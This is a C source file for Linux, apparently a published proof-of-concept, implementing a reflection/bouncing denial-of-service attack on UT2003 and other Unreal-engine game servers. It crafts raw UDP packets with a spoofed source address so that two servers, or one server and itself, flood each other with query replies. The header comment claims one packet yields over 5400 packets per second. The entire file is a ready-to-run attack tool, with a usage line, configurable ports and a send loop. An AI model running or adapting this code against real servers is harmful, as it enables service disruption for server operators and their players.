/*

UT2003 bouncing
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org


The attack can be from info_port to ping_port and viceversa
The utility has been written specifically for UT2003 servers, but
you need only to change #define STRING and the ports used by default
for use it on other games based on Unreal engine.

With this attack you can make an excellent DoS to only one machine if
you use the same source and destination, or you can make a DoS versus
2 Unreal servers if you use a server as source and another server as
destination.

1 packet sended is equal to a traffic of over 5400 packets per second
if you use same source and destination (however this can vary)

Information byte (byte number 5):
0x00    server name and some info (80 bytes)
0x01    more info (97 bytes) <-- default (more bytes in answer)
0x02    receive an empty UDP packet (5 bytes)
0x03    same info of 0x01 (97 bytes)


LINUX VERSION

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>


#define VER        "0.1"
#define IPSZ        sizeof(struct iphdr)
#define UDPSZ        sizeof(struct udphdr)
#define DATASZ        sizeof(STRING) - 1
#define PSEUDOSZ    sizeof(struct pseudohdr)
#define SIZE        (IPSZ + UDPSZ + DATASZ)
/* #define STRING        "\x00\x00\x00\x00\x00" */
#define STRING        "\x00\x00\x00\x00\x01"
/* #define STRING        "\x00\x00\x00\x00\x02" */
/* #define STRING        "\x00\x00\x00\x00\x03" */
#define DELAY        0
#define PORT1        7778
#define PORT2        10777


u_short in_cksum(unsigned short *addr, int len);
u_int resolv(char *host);
void std_err(void);


struct pseudohdr {
    u_int32_t    saddr;
    u_int32_t    daddr;
    u_int8_t    zero;
    u_int8_t    protocol;
    u_int16_t    length;
} *pseudohdr;


int main(int argc, char *argv[]) {
    u_char    buff[SIZE],
        pseudobuff[PSEUDOSZ + UDPSZ + DATASZ],
        *data;
    struct    sockaddr_in     peer;
    struct    iphdr    *iphdr;
    struct    udphdr    *udphdr;
    int    shandle,
        err,
        num,
        i;
    u_int32_t    source,
            dest;
    u_int16_t    sport,
            dport;

    setbuf(stdout, NULL);

    printf("\n"
        "Unreal engine bouncing %s\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n\n", VER);

    if(argc < 4) {
        printf("\nUsage: %s <UT2003_source> <UT2003_dest> <packets_num> [UT2003_bounce_port(default:%u or %u)]\n",
            argv[0], PORT1, PORT2);
        exit(1);
    }

    source = resolv(argv[1]);
    dest   = resolv(argv[2]);
    num    = atoi(argv[3]);
    if(!argv[4]) dport = PORT1;
        else dport = atoi(argv[4]);
    sport  = dport;

    peer.sin_addr.s_addr = dest;
    peer.sin_port        = htons(dport);
    peer.sin_family      = AF_INET;

    iphdr     = (struct iphdr *)buff;
    udphdr    = (struct udphdr *)(buff + IPSZ);
    data      = (u_char *)(buff + IPSZ + UDPSZ);
    pseudohdr = (struct pseudohdr *)pseudobuff;

    /* build data */
    memcpy(data, STRING, DATASZ);

    /* build IP header */
    iphdr->ihl      = 5;
    iphdr->version  = 4;
    iphdr->tos      = 0x10;
    iphdr->tot_len  = SIZE;
    iphdr->id       = 1;
    iphdr->frag_off = 0;
    iphdr->ttl      = 128;
    iphdr->protocol = IPPROTO_UDP;
    iphdr->check    = 0;
    iphdr->saddr    = source;
    iphdr->daddr    = dest;

    /* build UDP header */
    udphdr->source = htons(sport);
    udphdr->dest   = htons(dport);
    udphdr->check  = 0;
    udphdr->len    = htons(UDPSZ + DATASZ);

    /* build pseudo header for calculate checksum (copy UDP header and data in it) */
    memcpy(pseudobuff + PSEUDOSZ, udphdr, UDPSZ + DATASZ);

    pseudohdr->saddr    = iphdr->saddr;
    pseudohdr->daddr    = iphdr->daddr;
    pseudohdr->zero     = 0;
    pseudohdr->protocol = IPPROTO_UDP;
    pseudohdr->length   = udphdr->len;

    udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ + DATASZ);

    /* send all */
    shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(shandle < 0) std_err();

    for(i = 0; i < num; i++) {
        err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
        if(err < 0) std_err();
        if((i % 50) == 0) printf(".");
        usleep(DELAY);
    }

    close(shandle);
    printf("\n");

    return(0);
}


u_short in_cksum(unsigned short *addr, int len) {
        int    sum = 0;
        u_short    answer = 0;
        register    u_short *w = addr;
        register int    nleft = len;

        while(nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
        if(nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}


u_int resolv(char *host) {
    struct    hostent    *hp;
    u_int    host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(hp == 0) std_err();
        else host_ip = *(u_int *)(hp->h_addr);
    }

    return(host_ip);
}


void std_err(void) {
    perror("\nError");
    exit(1);
}
